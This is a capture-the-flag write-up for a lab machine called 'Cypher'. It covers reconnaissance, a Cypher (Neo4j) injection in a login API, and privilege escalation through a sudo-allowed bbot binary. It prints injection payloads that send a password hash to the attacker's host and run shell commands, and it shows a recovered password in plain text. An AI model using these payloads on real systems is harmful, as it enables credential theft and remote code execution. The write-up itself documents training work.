Cypher

Reading Time: 2 min read

#CypherInjection

Start 08:00 12-07-2025

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Scope:
10.10.11.57

Recon

Nmap

sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn cypher.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    syn-ack nginx 1.24.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-title: GRAPH ASM
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80/TCP - HTTP

I went ahead and ran gobuster in the background.

I tried logging in with admin - admin:

In caido I noticed that the login request went through the /api endpoint:

In the meantime gobuster finished scanning:

I noticed some interesting endpoints, I started off with /testing:

I downloaded and unpacked the java archive:

I was able to find some versions:

Might come in handy.

Nothing really useful here either.

Cypher Injection

I tried fiddling around with the parameters, thinking that there might be a SQLi, but instead I found something new:

I looked this error up:

I’d not heard of Cypher Injection beforehand so this was interesting:

Scrolling down I find:

Combining this with what we find in the error we can form a payload as follows:

' OR 1=1 LOAD CSV FROM 'http://10.10.14.17/test='+h.value AS y RETURN ''//

John - FAIL

Unfortunately I cannot crack it:

Foothold

Cypher Injection -> RCE

Using the Cypher Injection vulnerability I started testing for SSRF:

I should now be able to tweak it in such a way that I could get a reverse shell out of it.

Using backticks I found out that I could inject and execute commands such as whoami and id:

{
  "username": "admin' RETURN h.value AS hash UNION CALL custom.getUrlStatusCode(\"http://10.10.14.17/`id`\") YIELD statusCode AS hash RETURN hash; //",
  "password": "admin"
}

Knowing that I had full RCE I could now issue a reverse shell command:

Now that I had a shell I started enumerating the target

Going into the ~ directory I found this:

cU4btyib.20xtCMCXkBmerhK

Hydra - Password Spray

A quick check at password respraying showed me that this password was reused by graphasm for ssh:

Lateral Movement

user.txt

Privilege Escalation

Enumeration

I ran the binary and saw this:

Combining it together with the --debug we can run the following command and get root.txt:

sudo /usr/local/bin/bbot -cy /root/root.txt --debug

root.txt

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Finished 09:30 12-07-2025